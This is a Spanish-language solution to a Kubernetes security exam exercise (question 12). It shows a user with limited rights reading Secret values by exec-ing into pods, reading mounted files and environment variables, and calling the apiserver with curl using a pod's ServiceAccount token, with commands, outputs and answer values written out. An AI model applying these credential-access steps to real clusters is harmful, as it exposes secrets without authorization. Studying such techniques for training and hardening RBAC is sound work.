Skip to main content

Pregunta 12 | Hackear Secrets

Usar contexto: kubectl config use-context restricted@infra-prod

Se te pide investigar un posible escape de permisos en el Namespace restricted. El contexto autentica como usuario restricted que solo tiene permisos limitados y no debería poder leer valores de Secret.

Intenta encontrar los valores de password-key de los Secrets secret1, secret2 y secret3 en el Namespace restricted. Escribe los valores de texto plano decodificados en los archivos /opt/course/12/secret1, /opt/course/12/secret2 y /opt/course/12/secret3.


Respuesta:

Primero debemos explorar los límites, podemos intentar:

➜ k -n restricted get role,rolebinding,clusterrole,clusterrolebinding
Error from server (Forbidden): roles.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "roles" in API group "rbac.authorization.k8s.io" in the namespace "restricted"
Error from server (Forbidden): rolebindings.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "rolebindings" in API group "rbac.authorization.k8s.io" in the namespace "restricted"
Error from server (Forbidden): clusterroles.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "clusterroles" in API group "rbac.authorization.k8s.io" at the cluster scope
Error from server (Forbidden): clusterrolebindings.rbac.authorization.k8s.io is forbidden: User "restricted" cannot list resource "clusterrolebindings" in API group "rbac.authorization.k8s.io" at the cluster scope

Pero no hay permisos para ver recursos RBAC. Así que intentamos lo obvio:

➜ k -n restricted get secret
Error from server (Forbidden): secrets is forbidden: User "restricted" cannot list resource "secrets" in API group "" in the namespace "restricted"

➜ k -n restricted get secret -o yaml
apiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
selfLink: ""
Error from server (Forbidden): secrets is forbidden: User "restricted" cannot list resource "secrets" in API group "" in the namespace "restricted"

No se nos permite obtener o listar ningún Secret. ¿Qué podemos ver entonces?

➜ k -n restricted get all
NAME READY STATUS RESTARTS AGE
pod1-fd5d64b9c-pcx6q 1/1 Running 0 37s
pod2-6494f7699b-4hks5 1/1 Running 0 37s
pod3-748b48594-24s76 1/1 Running 0 37s
Error from server (Forbidden): replicationcontrollers is forbidden: User "restricted" cannot list resource "replicationcontrollers" in API group "" in the namespace "restricted"
Error from server (Forbidden): services is forbidden: User "restricted" cannot list resource "services" in API group "" in the namespace "restricted"
...

Hay algunos Pods, verifiquemos estos con respecto al acceso a Secret:

k -n restricted get pod -o yaml | grep -i secret

# Esta salida nos proporciona suficiente información para hacer:

➜ k -n restricted exec pod1-fd5d64b9c-pcx6q -- cat /etc/secret-volume/password
you-are

echo you-are > /opt/course/12/secret1
Y para el segundo Secret:

➜ k -n restricted exec pod2-6494f7699b-4hks5 -- env | grep PASS
PASSWORD=an-amazing

echo an-amazing > /opt/course/12/secret2

Sin embargo, ninguno de los Pods parece montar secret3. ¿Podemos crear o editar Pods existentes para montar secret3?

➜ k -n restricted run test --image=nginx
Error from server (Forbidden): pods is forbidden: User "restricted" cannot create resource "pods" in API group "" in the namespace "restricted"

➜ k -n restricted delete pod pod1
Error from server (Forbidden): pods "pod1" is forbidden: User "restricted" cannot delete resource "pods" in API group "" in the namespace "restricted"

# No parece que podamos.

Pero los Pods parecen poder acceder a los Secrets, podemos intentar usar el ServiceAccount de un Pod para acceder al tercer Secret. De hecho podemos ver (como usando k -n restricted get pod -o yaml | grep automountServiceAccountToken) que solo el Pod pod3-* tiene el token ServiceAccount montado:

➜ k -n restricted exec -it pod3-748b48594-24s76 -- sh

/ # mount | grep serviceaccount
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)

/ # ls /run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token

# NOTA: Debes tener conocimiento sobre ServiceAccounts y cómo funcionan con Pods como se describe en la documentación
# Podemos ver toda la información necesaria para contactar al apiserver manualmente:

curl https://kubernetes.default/api/v1/namespaces/restricted/secrets -H "Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" -k
...
{
"metadata": {
"name": "secret3",
"namespace": "restricted",
...
}
]
},
"data": {
"password": "cEVuRXRSYVRpT24tdEVzVGVSCg=="
},
"type": "Opaque"
}
...

Vamos a codificarlo y escribirlo en la ubicación solicitada:

echo cEVuRXRSYVRpT24tdEVzVGVSCg== | base64 -d
pEnEtRaTiOn-tEsTeR

echo cEVuRXRSYVRpT24tdEVzVGVSCg== | base64 -d > /opt/course/12/secret3

Esto nos dará:

# /opt/course/12/secret1
you-are
# /opt/course/12/secret2
an-amazing
# /opt/course/12/secret3
pEnEtRaTiOn-tEsTeR

¡Hackeamos todos los Secrets! Puede ser complicado hacer que RBAC esté bien configurado y seguro.

NOTA: Una cosa a considerar es que dar el permiso de "list" Secrets, también permitirá al usuario leer los valores de Secret como usando kubectl get secrets -o yaml incluso sin el permiso "get" establecido.